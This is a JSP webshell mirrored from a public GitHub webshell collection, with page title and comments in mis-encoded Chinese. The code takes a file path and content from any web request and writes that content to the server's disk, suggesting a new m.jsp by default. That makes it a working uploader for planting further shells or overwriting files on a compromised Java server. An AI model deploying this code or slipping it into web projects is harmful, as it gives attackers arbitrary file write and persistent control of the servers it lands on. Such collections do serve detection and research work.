mirror of
https://github.com/tennc/webshell
synced 2024-11-23 03:33:03 +00:00
41 lines
2.5 KiB
Text
41 lines
2.5 KiB
Text
<%@ page language="java" pageEncoding="UTF-8"%>
|
||
<%@ page contentType="text/html;charset=UTF-8"%>
|
||
<%@ page import="java.io.*"%>
|
||
<html>
|
||
<head>
|
||
<title>jspå°é©¬ | Mr Fz's个人ä¸ç!严ç¦ç¨äºåä¸ç®ç!</title>
|
||
</head>
|
||
<body bgcolor="#ffffff">
|
||
<%
|
||
String damapath=request.getParameter("path");
|
||
String content=request.getParameter("content");
|
||
String url=request.getRequestURI();//å½å页é¢
|
||
String url1=request.getRealPath(request.getServletPath());//å½åæ±è¯·çJSPæ件çç©çè·¯å¾
|
||
String dir=new File(url1).getParent(); //å½åJSPæ件æå¨ç®å½çç©çè·¯å¾
|
||
if(damapath!=null &&!damapath.equals("")&&content!=null&&!content.equals(""))
|
||
{
|
||
try{
|
||
File damafile=new File(damapath);//ç¨fileç±»å建ä¸ä¸ªdamafile对象并æå®å®çè·¯å¾damapath
|
||
PrintWriter pw=new PrintWriter(damafile);//使ç¨æå®æ件damafileå建printwriter
|
||
pw.println(content);//æå°content,并ç»æ¢æå°
|
||
pw.close();//å
³éæµéæ¾èµæº
|
||
if(damafile.exists()&& damafile.length()>0)//å¤ædamafile对象æ¯å¦åå¨,
|
||
{
|
||
out.println("<font size=3 color=red>save ok!</font>");
|
||
}else
|
||
{
|
||
out.println("<font size=3 color=red>save bad!</font>");
|
||
}
|
||
}catch (Exception ex){
|
||
ex.printStackTrace();
|
||
}
|
||
}
|
||
out.println("<form action="+url+" method=post>");
|
||
out.println("<font size=2>请è¾å
¥ä¿åè·¯å¾:</font><input type=text size=45 name=path value="+dir+"/m.jsp><br>");
|
||
out.println("<font size=2 color=red>å½åä½ æ±è¯·çJSPæ件çç©çè·¯å¾:"+url1+"</font><br>");
|
||
out.println("<textarea name=content rows=10 cols=50></textarea><br>");
|
||
out.println("<input type=submit value=save>");
|
||
out.println("</form>");
|
||
%>
|
||
</body>
|
||
</html>
|